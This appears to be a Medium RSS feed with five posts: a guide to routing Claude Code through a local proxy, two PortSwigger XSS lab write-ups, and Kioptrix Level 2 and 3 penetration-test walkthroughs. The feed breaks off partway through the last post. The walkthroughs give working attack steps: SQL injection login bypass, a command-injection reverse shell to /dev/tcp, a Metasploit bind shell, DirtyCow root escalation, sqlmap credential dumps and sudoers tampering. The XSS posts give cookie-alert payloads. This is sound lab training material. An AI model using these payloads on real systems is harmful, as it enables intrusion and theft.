<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hysteria on Medium]]></title>
        <description><![CDATA[Stories by Hysteria on Medium]]></description>
        <link>https://medium.com/@ahmedadel01159?source=rss-348f0901da1f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*6Tvcj-yAkn8Zx8wcZSAdrg.jpeg</url>
            <title>Stories by Hysteria on Medium</title>
            <link>https://medium.com/@ahmedadel01159?source=rss-348f0901da1f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 09:27:01 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ahmedadel01159/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I Built an Unstoppable AI CLI Workflow: Integrating Claude Code with OmniRoute.]]></title>
            <link>https://medium.com/@ahmedadel01159/how-i-built-an-unstoppable-ai-cli-workflow-integrating-claude-code-with-omniroute-7a9b829651ff?source=rss-348f0901da1f------2</link>
            <guid isPermaLink="false">https://medium.com/p/7a9b829651ff</guid>
            <dc:creator><![CDATA[Hysteria]]></dc:creator>
            <pubDate>Sun, 09 Aug 2026 12:43:22 GMT</pubDate>
            <atom:updated>2026-08-09T12:43:22.552Z</atom:updated>
            <content:encoded><![CDATA[<p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -</p><p>If you use <strong>Claude Code</strong> — Anthropic’s powerful terminal-based AI agent — you know how quickly it can hit API quota limits, provider restrictions, or rate limits.<br>To eliminate downtime, model deprecations, and restrictive rate limits, I built a resilient local setup using <strong>OmniRoute</strong> as an LLM proxy/router. By configuring a unified “Combo” with intelligent fallback priorities, Claude Code dynamically switches between alternative models (such as DeepSeek, Sonnet, Gemini, and Kimi) the moment a model runs into rate limits or goes offline.<br>Here is a step-by-step guide to installing OmniRoute, configuring Claude Code, building fallback chains, and navigating execution modes for a seamless CLI workflow.</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -</p><h3>Step 1: Installing and Setting Up OmniRoute</h3><p>OmniRoute acts as a local proxy layer (running on http://localhost:20128/v1) that sits between Claude Code and your preferred AI model providers.</p><h3>1. Installation &amp; Launch</h3><p>Run the following command in your terminal to install OmniRoute globally:</p><pre>npm install -g omniroute</pre><p>2. Launch OmniRoute and navigate to the dashboard (typically <a href="http://localhost:20128).">http://localhost:20128).</a></p><p>Start the OmniRoute server:</p><pre>omniroute</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*REUHRdsDnDP-VS2m-OhsNQ.png" /><figcaption>Now open this <strong>URL”</strong><a href="http://localhost:20128/">http://localhost:20128</a><strong>” </strong>on ur browser</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*2IuR2lUSUU2S3TakX5kClw.png" /><figcaption>The Password is : <strong>CHANGEME</strong></figcaption></figure><p>Open http://localhost:20128 in your browser and log in using the default credentials (Default Password: CHANGEME).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*9Ub1Mry7tIMOc6GHsjipMw.png" /><figcaption>This is the dashboard</figcaption></figure><h3>2. Generate an API Key</h3><ol><li>Navigate to the <strong>API Key</strong> section in the OmniRoute dashboard.</li><li>Click <strong>Generate API Key</strong>, copy the key, and store it securely. You will need it to authenticate Claude Code.</li></ol><h3>3. Add Model Providers</h3><ol><li>Go to the <strong>Providers</strong> tab.</li><li>Select the <strong>Free Tier</strong> section (or your preferred provider tier).</li><li>Search for <strong>Antigravity</strong> to establish a connection. Log in with your Google account and set up the manual endpoint URL if prompted.</li><li>Click <strong>Import Models</strong> and enable <strong>Auto-SYNC</strong>.</li><li>Click <strong>Test All Models</strong> to verify connectivity (you should see a status indicating active model connections).</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uYbUYzkUPP_c4uJeCQ_RYw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rmvVJM2vA_siSQN0uEm1ZA.png" /><figcaption><strong>14/15 Models are working</strong></figcaption></figure><h3>4. Build a Fallback Combo</h3><ol><li>Navigate to the <strong>Combos</strong> section and click <strong>Create Combo</strong>.</li><li>Assign a name to your combo (e.g., Master).</li><li>Select your provider (<strong>Antigravity</strong>) and add your preferred models step by step using the <strong>Add Step</strong> button. Adding at least 6 to 7 models is recommended for high availability.</li><li>Set the <strong>Routing Strategy</strong> to <strong>Priority</strong>. This ensures that if the active model fails or hits a rate limit, OmniRoute immediately routes traffic to the next model in sequence.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*4xMS4D0hunHrkFY1WdCbTQ.png" /><figcaption>name your combo</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*u996tiF46esdTEFYrabM3w.png" /></figure><p>Here you can select the provider “ Antigravity” and the model <br>Put What ever you want and “Add Step”<br>Recommend to put at least 6–7 Models.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*QZkSdIAw3viwPlHP4jjtjQ.png" /></figure><p>Routing Strategy : make it <strong>Priority, if one model is off it will switch to the next model in row and so on</strong></p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -</p><h3>Step 2: Installing and Configuring Claude Code</h3><h3>1. Download Claude Code</h3><p>Install Claude Code via npm using your terminal or PowerShell:<br>Download Claude from this :<a href="https://code.claude.com/docs/en/overview"><strong>Link</strong></a></p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -</p><h3>2. Configure settings.json</h3><p>Navigate to the Claude Code directory located in your user profile path: Directory:C:\Users\YOURNAME\.claude<br>And open S<strong>etting.json<br>Edit the file and put this code:</strong></p><pre>{<br>  &quot;env&quot;: {<br>    &quot;ANTHROPIC_API_KEY&quot;: &quot;YOUR_API_KEY&quot;,<br>    &quot;ANTHROPIC_BASE_URL&quot;: &quot;YOUR_URL&quot;,<br>    &quot;CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC&quot;: &quot;1&quot;,<br>    &quot;ANTHROPIC_DEFAULT_OPUS_MODEL&quot;: &quot;YOUR_COMBO_NAME&quot;,<br>    &quot;ANTHROPIC_DEFAULT_SONNET_MODEL&quot;: &quot;YOUR_COMBO_NAME&quot;,<br>    &quot;ANTHROPIC_DEFAULT_HAIKU_MODEL&quot;: &quot;YOUR_COMBO_NAME&quot;<br>  },<br>  &quot;statusLine&quot;: {<br>    &quot;type&quot;: &quot;command&quot;,<br>    &quot;command&quot;: &quot;node \&quot;C:\\Users\\Hysteria\\.claude\\statusline.js\&quot;&quot;<br>  },<br>  &quot;effortLevel&quot;: &quot;low&quot;,<br>  &quot;theme&quot;: &quot;dark&quot;,<br>  &quot;switchModelsOnFlag&quot;: false<br>}</pre><h4>Configuration Details:</h4><ul><li>Replace YOUR_GENERATED_OMNIROUTE_API_KEY with the key created in Step 1</li><li>Verify ANTHROPIC_BASE_URL matches your local OmniRoute endpoint (found under <strong>Dashboard &gt; Endpoint</strong>).</li><li>Replace YOUR_COMBO_NAME with the exact name of the combo created in OmniRoute.</li><li>Replace YOUR_USERNAME with your actual Windows username.</li></ul><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -</p><h3>3. Verify the Integration</h3><p>Open Command Prompt or PowerShell and launch Claude Code:</p><pre>claude</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p2z2dOcZRp-Mk5SDBQ1VIQ.png" /><figcaption>type: /model</figcaption></figure><pre>/model</pre><p>Your OmniRoute combo name should display as the active model endpoint.</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wEn2NZKTxc_usQqtEmMOZA.png" /></figure><h3>Bonus: Mastering Execution Modes in Claude Code</h3><p>During session execution, press <strong>Shift + Tab</strong> to quickly toggle between Claude Code’s core execution modes:</p><ul><li><strong>Manual Mode:</strong> Requires explicit user approval for every individual action, including file reads, file edits, and terminal commands.</li><li><strong>Auto Accept / Auto Edit Mode:</strong> Automatically applies file edits and creates files without prompting, streamlining repetitive development tasks.</li><li><strong>Plan Mode:</strong> Analyzes your codebase and generates a step-by-step implementation strategy without modifying any files on disk.</li></ul><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -</p><h3>Conclusion: Build Once, Code Forever</h3><p>Integrating <strong>Claude Code</strong> with <strong>OmniRoute</strong> transforms a single AI CLI tool into a truly resilient, production-ready development system. By decoupling your local workflow from provider limitations and establishing dynamic fallback chains, you eliminate single points of failure and keep your coding momentum uninterrupted.</p><p>Whether you are hitting API quotas, dealing with model deprecations, or simply looking to optimize costs across different LLMs, this architecture gives you full control over your local AI environment.</p><p>Give this setup a try, set up your custom combos, and enjoy a seamless, high-availability terminal AI experience. Happy coding!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7a9b829651ff" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DOM XSS in jQuery selector sink using a “hash change” event]]></title>
            <link>https://medium.com/@ahmedadel01159/dom-xss-in-jquery-selector-sink-using-a-hash-change-event-a08d347e9665?source=rss-348f0901da1f------2</link>
            <guid isPermaLink="false">https://medium.com/p/a08d347e9665</guid>
            <dc:creator><![CDATA[Hysteria]]></dc:creator>
            <pubDate>Tue, 07 Oct 2025 18:23:47 GMT</pubDate>
            <atom:updated>2025-10-07T18:27:25.228Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bKyO2Bz8c2gjWnTkBgmjaw.png" /></figure><p><a href="https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-jquery-href-attribute-sink">Lab description</a>: This lab contains a DOM-based cross-site scripting vulnerability in the submit feedback page. It uses the jQuery library’s <em>$</em> selector function to find an anchor element, and changes its href attribute using data from <em>location.search</em>. To solve this lab, make the “<em>back</em>” link alert <em>document.cookie</em>.</p><p>Access the lab and navigate to the <strong>Blog</strong> page.<br> You’ll see a simple blog layout with several posts.</p><p>Next, click on the <strong>“Submit feedback”</strong> link to proceed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*tfkAC22w8QCqpDD7TbtY3A.png" /></figure><p>You’ll be taken to a form page with fields for <strong>Name</strong>, <strong>Email</strong>, <strong>Subject</strong>, and <strong>Message</strong>.<br> The vulnerability we’re investigating is located in the <strong>&lt; Back</strong> link at the bottom‑right of the page.</p><p>let’s view page source for the back button:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*1Quw8J0kFV9E0IC0m_sc_A.png" /><figcaption>Interesting</figcaption></figure><p>This script leverages jQuery to perform a few tasks. The expression $(&#39;#backLink&#39;) selects the HTML element with the id of “backLink”. The method .attr(&quot;href&quot;, …) sets the href attribute to the specified value. Here, new URLSearchParams(window.location.search) parses the query string, which is the part of the current URL following the question mark. Finally, .get(&#39;returnPath&#39;) retrieves the value assigned to the returnPath parameter within the query string, if it exists.</p><p>Summary , this script is searching the current URL for “returnPath”. If the script finds it, “href” will be set to whatever that “returnPath” is. Currently <em>href=”/”.</em></p><p><strong>So easily :</strong><br>We can execute JavaScript inside an anchor tag by setting its href attribute to start with javascript:. Any JavaScript code placed immediately after the colon will run whenever the link (such as the back button) is clicked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UlfIaRTAIMZV-cAWz96OCQ.png" /><figcaption><strong>/feedback?returnPath=javascript:alert(document.cookie)</strong></figcaption></figure><p>Now let’s try to click on the back button to see the alert<strong>(document.cookie)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*9tpXlGEtgr5Foa9J2D0v2Q.png" /></figure><p>We got it…!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a08d347e9665" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reflected XSS in canonical link tag]]></title>
            <link>https://medium.com/@ahmedadel01159/reflected-xss-in-canonical-link-tag-e2334d773435?source=rss-348f0901da1f------2</link>
            <guid isPermaLink="false">https://medium.com/p/e2334d773435</guid>
            <dc:creator><![CDATA[Hysteria]]></dc:creator>
            <pubDate>Tue, 07 Oct 2025 17:58:34 GMT</pubDate>
            <atom:updated>2025-10-07T17:58:34.134Z</atom:updated>
            <content:encoded><![CDATA[<h3><a href="https://portswigger.net/web-security/cross-site-scripting/contexts/lab-canonical-link-tag">Lab Description</a>:</h3><p>This lab reflects user input in a canonical link tag and escapes angle brackets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZN9uzISBYs-AO1EIXXlg2A.png" /><figcaption>That our homepage</figcaption></figure><p>let’s View source of it ..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*7wUzlO5vVeE5pq8rcM-JSw.png" /><figcaption>here we have link rel and canonical</figcaption></figure><p><strong>canonical URL</strong> is the <strong>preferred version of a web page</strong> when there are multiple pages with similar or duplicate content. It tells <strong>search engines</strong> which URL to index and rank. it reflected unchecking input from the user .<br>Since our blog page does not have a search bar, this does not mean that we can’t try to add a query at the end of your blog’s URL.<br><a href="https://0a0a00fc047eb8d1803a94f80065004d.web-security-academy.net/?hacker">https://0a0a00fc047eb8d1803a94f80065004d.web-security-academy.net/?hacker</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*8-QVrxsd40ebux60Ukvh1Q.png" /><figcaption>appeared here put in “ “</figcaption></figure><p>The href attribute appears to reflect the site’s URL. However, note that in the DOM browser, the href is enclosed in double quotes.</p><p>let’s try to add “ “ in the end of the url to see if it will break down or not<br>- not working</p><p>let’s try to add single quote in the end of the injection to avoid putting the url in canoncial in “ “</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*t4Zw6cHxZmueVqFuCYZHdw.png" /><figcaption>Our blog page uses single quotes for the href, which is why it worked. But the end of the canonical link is broken.</figcaption></figure><p>Next, we need to see if we can inject our own attribute that will help solve this lab. by adding (/?hacker ‘onclick=’alert(1)’ )</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*w_RzGEsYRWdbJymM5xtqGQ.png" /><figcaption><strong>It worked. We injected our own attribute.</strong></figcaption></figure><p>From this point, we need to find a way to get the user to “click” a link that isn’t visible on the page.</p><p>The goal of this lab is to make the link accessible through a keyboard shortcut, specifically using a variation of the <strong>‘x’ key</strong>, such as:</p><ul><li>On Windows: ALT+SHIFT+X</li><li>On MacOS: CTRL+ALT+X</li><li>On Linux: Alt+X</li></ul><p>This is where the accesskey attribute becomes useful—it allows us to bind a keyboard shortcut to a specific element, enabling the user to trigger the hidden link without clicking it directly.</p><h3>Accesskey Attribute in HTML</h3><p>The accesskey attribute in HTML is used to assign a keyboard shortcut to an element on a webpage. This allows users to quickly access or activate that element using a specific key combination.</p><p>When the user presses the designated key along with the appropriate modifier keys (such as <strong>Alt</strong>, <strong>Ctrl</strong>, or <strong>Shift</strong>, depending on the browser and operating system), the associated action is triggered or the element receives focus.<br><strong>example</strong>:</p><p>&lt;a href=”/hidden-page” accesskey=”x”&gt;Link&lt;/a&gt;</p><p>In this example, pressing <strong>Alt + Shift + x</strong>(or <strong>Ctrl + Alt + x</strong>, depending on the browser and operating system) would activate the <strong>“Home”</strong> link:</p><p><strong>LAB Solution:</strong></p><p>By assigning &#39;x&#39; as the accesskey, we enable the user to trigger a JavaScript alert by pressing their browser’s designated access key combination (e.g., Alt + Shift + X). When activated, this will execute alert(1).</p><p>The url : http://link/?’accesskey=’x’onclick=’alert(1)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zM3sLOqCGn50_2nhhgfwIQ.png" /><figcaption><strong>Solved</strong></figcaption></figure><p>Now try to trigger your pop-up. I was using Firefox and I was able to trigger it using ‘Alt+Shift+x’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xmL1lEDomk5T1kGTT11y1Q.png" /></figure><p>Bingo!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e2334d773435" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kioptrix Level 3— Walkthrough]]></title>
            <link>https://medium.com/@ahmedadel01159/kioptrix-level-3-walkthrough-1f37ed3f01ea?source=rss-348f0901da1f------2</link>
            <guid isPermaLink="false">https://medium.com/p/1f37ed3f01ea</guid>
            <dc:creator><![CDATA[Hysteria]]></dc:creator>
            <pubDate>Wed, 10 Sep 2025 17:20:02 GMT</pubDate>
            <atom:updated>2025-09-10T17:21:24.442Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7_ii05L3AigrMdlq" /></figure><p><strong>Kioptrix Level 3</strong> is the third challenge in the Kioptrix vulnerable machine series, designed to help learners strengthen their penetration testing skills in a realistic environment.</p><p><strong>Objective:</strong> Gain root access by identifying and exploiting web application vulnerabilities, misconfigurations, and privilege escalation paths.</p><p>Target IP (in my lab): 192.168.118.143</p><h3>1. Enumeration</h3><h3>1.1 Discovering the Target</h3><pre>└─$ sudo netdiscover -r 192.168.118.0/24</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*9D73tndbHo1cxiEoTmcUzw.png" /><figcaption><strong>Target IP is 192.168.118.143</strong></figcaption></figure><h3>1.2 Port Scanning with Nmap</h3><pre>└─$ sudo nmap -sV -T4 192.168.118.143</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*BBb5MlRSPGNU6iMkFXWlFQ.png" /><figcaption><strong>Port 80/open that we can access to the website</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*KqtnMFb-W88ENi9EKQYXZQ.png" /><figcaption>Going for Login Page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*JKcF9-dD9J5tvmVoEu6XLg.png" /></figure><h4>Note That the site powered by LotusCMS , Let’s search for exploitation</h4><h3>Method 1:</h3><pre>└─$ searchsploit LotusCMS</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E2u_OHFpoK-CY-JNUuJkCA.png" /></figure><pre>└─$ msfconsole -q</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mUieWDWWYh3TKJccCwN3sA.png" /></figure><h4>set RhOSTS 192.168.118.143</h4><h4>set URI /</h4><h4>set payload generic/shell_bind_tcp</h4><h4>exploit or run</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XTF1FhI7QNZaySyQClF1Wg.png" /></figure><h4>We are in !!!</h4><h4>Typing these command to make the Reverse shell more interactive</h4><h4>python -c ‘import pty;pty.spawn(“/bin/bash”)’</h4><h4>export TERM=xterm</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*YtoaJALk1fc8YcWiewxEtg.png" /></figure><h4>we have kernel 2.6.24 and Ubuntu 8.04.3</h4><h3>2.Searching for Exploit</h3><pre>└─$ searchsploit kernel 2.6.24</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jjCmPgNPEl5Wai-RL3yqjw.png" /></figure><h4>Kernel 2.6.24 has Exploitation method called DirtyCow</h4><h4>Google it on GitHub or searching it with Searchsploit method.</h4><h4>Locate “linux/local/40839.c”</h4><pre>└─$ searchsploit -m linux/local/40839.c</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U9EGtC7aNFz-CJg5c0d9Ww.png" /></figure><h3>2.1 Compiling the Exploit</h3><pre>└─$ cp /usr/share/exploitdb/exploits/linux/local/40839.c ./</pre><h4>Now Sending this file to our session by using Python Http Server</h4><pre>└─$ python3 -m http.server</pre><h4>First Cd to the Tmp files and Download the 40893.c</h4><p>cd /tmp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*uqcZjdYidoREFEJ2IVbrRw.png" /></figure><pre>www-data@Kioptrix3:/tmp$ gcc -pthread 40839.c -o dirty -lcrypt</pre><p>Now Run the new file after compiling</p><p>./dirty set pw</p><pre>www-data@Kioptrix3:/tmp$ ./dirty superpass123</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*onqmiI_AOL_5d4b3g1FbkA.png" /></figure><h4>Now We created user that have Root Privileg</h4><h4>Let’s open session with this user “firefart” using SSH connection</h4><pre>└─$ ssh firefart@192.168.118.143</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7_K5TgWkRtIYGCzx19pZ6g.png" /></figure><h4>The Kioptrix VMs are <em>very old</em>, and their SSH server only supports outdated algorithms like ssh-rsa and ssh-dss</h4><h4>Just add: -oHostKeyAlgorithms=+ssh-rsa</h4><pre>└─$ ssh -oHostKeyAlgorithms=+ssh-rsa  firefart@192.168.118.143</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*QfkYE_qb7D2Up6soY10xPw.png" /></figure><h4>We successfully got Root !!</h4><h3>Method 2:</h3><pre>└─$ gobuster dir -u http://192.168.118.143/ -w /usr/share/dirb/wordlists/common.txt</pre><h4>Finding the hidden dir</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*pmupHIbhkjUte253mWceuA.png" /></figure><h4>/gallery (Status: 301) [Size: 359] [ → <a href="http://192.168.118.143/gallery/">http://192.168.118.143/gallery/</a>]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*2vI07Wkq6QzfvEi3rq7XgQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*Q_dDEqhlXQBHU4Y_-cCbuw.png" /><figcaption>user &amp; pw the DataBase</figcaption></figure><h4>Trying to login with this user on</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*2rceN5HBlIktTh0wTx1KXg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*GpM00UigLy4e-beW-Xhk3Q.png" /><figcaption>Access Denied</figcaption></figure><h4>Since We found an admin login page and this page is powered by LotusCMS.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*97DjIPJVFG7bfKP77RivnQ.png" /></figure><h3>1.SQL Injection</h3><p>On the gallery portal on the Ligoat Press Room page, there is an option to sort the images based on different parameters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*fT2V569oDVcFTKeLqlStng.png" /></figure><h4>I tested this parameter for SQL injection vulnerability and it was indeed vulnerable</h4><h3>SQL MAP</h3><pre>└─$ sqlmap -u &quot;http://kioptrix3.com/gallery/gallery.php?id=1&amp;sort=photoid#photos&quot; --level 5 --risk 3 -p id,sort --dbs --output-dir=sqlmap</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*Nxio2Zg9aZkzhmwt2ofL2Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*25K0ofJB_4qQH7tC2_LHpw.png" /></figure><pre>└─$ sqlmap -u &quot;http://kioptrix3.com/gallery/gallery.php?id=1&amp;sort=photo#photos&quot; \ --level=5 --risk=3 -p id \-D gallery --tables \ --output-dir=sqlmap</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_LaRrkd_F34IRMr7FR8Obg.png" /></figure><pre>└─$ sqlmap -u &quot;http://kioptrix3.com/gallery/gallery.php?id=1&amp;sort=photo#photos&quot; -D gallery -T dev_accounts --dump</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ukrWPxiXGfr0wMcJreYTyQ.png" /></figure><h4>The gallarific_users table contains the password of an admin user in plain text.</h4><h4>Using SSH access to the target system</h4><h4>logging with user dreg</h4><h4>dreg user has limited access</h4><h4>switch to loneferret</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*exw-5O-1-jShVrMxBlagxg.png" /></figure><pre>└─$ ssh -oHostKeyAlgorithms=+ssh-rsa  loneferret@192.168.118.143</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*yhGcS4aXFLYdHC5-1ZSLOw.png" /></figure><h4>In the home directory for loneferret there are two file checksec.sh which seems to be a script to check the security of files</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*Axkfsa8m8D7QdIWV2yO9ww.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*aTc49DONELN5_k0ZChxESQ.png" /></figure><h4>The sudoers file shows that loneferret can run the ht command as root</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*RL5UbXvoXvDh7u8glqXqdQ.png" /></figure><h4>Using F3 we can select the file to open in the editor.</h4><h4>type /etc/sudoers</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*PCncIIFppZ3x_RM4bGOLjA.png" /></figure><h4>Add loneferret ALL=(ALL) NOPASSWD: ALL</h4><h4>Or just add /bin/sh</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*MFQEQH-Et7EKt2D-bwXOrA.png" /></figure><h4>Use F2 to save the file and Ctrl + Z to exit the application.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*zlGxDvcBSIMiZbGU1sTvcA.png" /></figure><h4>Successfully Got a Root</h4><h3>Conclusion</h3><p>This hands-on penetration test of Kioptrix Level 3 demonstrated how common misconfigurations and vulnerable legacy systems can lead to full system compromise. It highlighted the importance of regular patching, secure coding practices, and proper privilege separation.</p><p>By exploiting a <strong>SQL injection</strong> and abusing <strong>sudo misconfiguration</strong>, root access was gained effectively and documented for reproducibility.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1f37ed3f01ea" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kioptrix Level 2— Walkthrough]]></title>
            <link>https://medium.com/@ahmedadel01159/kioptrix-level-2-walkthrough-65a6d36afdb9?source=rss-348f0901da1f------2</link>
            <guid isPermaLink="false">https://medium.com/p/65a6d36afdb9</guid>
            <dc:creator><![CDATA[Hysteria]]></dc:creator>
            <pubDate>Tue, 09 Sep 2025 22:35:58 GMT</pubDate>
            <atom:updated>2025-09-09T22:35:58.372Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*H6q1Jru-9HbJVavD" /></figure><h4><strong>Kioptrix Level 2</strong> is the second challenge in the Kioptrix vulnerable machine series, designed to help learners practice core penetration testing skills in a realistic environment.<br> The objective: <strong>escalate privileges and obtain root access by identifying and exploiting service vulnerabilities</strong></h4><p>Target IP (in my lab): 192.168.118.142</p><h3>1. Enumeration</h3><h3>1.1 Discovering the Target</h3><pre>└─$ sudo netdiscover -r 192.168.118.0/24</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*abMs1IW0AgznViSnoOtCgg.png" /></figure><h3>1.2 Port Scanning with Nmap</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*vTHNEemMacFLFGbI_3ei8Q.png" /><figcaption>We have something interesting in port 3306</figcaption></figure><p>Let’s find out !</p><h4>Since we have 80/tcp open we can visit the site</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WqeLp_cNQ8cg6NvNjOl4HQ.png" /><figcaption><strong>logging page let’s try to SQLinjection</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*ke9UuCj09Gw7lBaeeTczQg.png" /><figcaption><strong>logged in using ‘ OR 1=1 — or ‘ OR 1 = #</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*Td3KiGkUn0Alb2_rLNPPUQ.png" /><figcaption><strong>trying to execute Reverse shell command</strong></figcaption></figure><h4>1st open session on your attacking machine</h4><pre>└─$ nc -nlvp 4444</pre><h4>2nd search for PentestMonkey</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yfuI2-GFnXAJyVLdLd9LTg.png" /></figure><h4>the Reverse shell command:</h4><h4>bash -i &gt;&amp; /dev/tcp/attacker_machine_ip/4444 0&gt;&amp;1</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*qJEnjZ1ZE4_Rmuzoai01qw.png" /></figure><pre>;bash -i &gt;&amp; /dev/tcp/192.168.118.140/4444 0&gt;&amp;1</pre><p>Got Reverse Shell !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*ZmE98rDRm1k1klRLzHqbyw.png" /></figure><h4>put these commands to make the shell more interactive with you</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*VxVVXrQ-Rz63fwBhz9eGdA.png" /></figure><pre>python -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;       <br>export TERM=xterm<br>ctrl+z</pre><h4>To Bring the backgrounded process</h4><pre>└─$ stty raw -echo ;fg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*Qhb_LCeMyZ5x1ni9ju9rww.png" /></figure><h4>Now Let’s display distribution-specific information</h4><figure><img alt="" 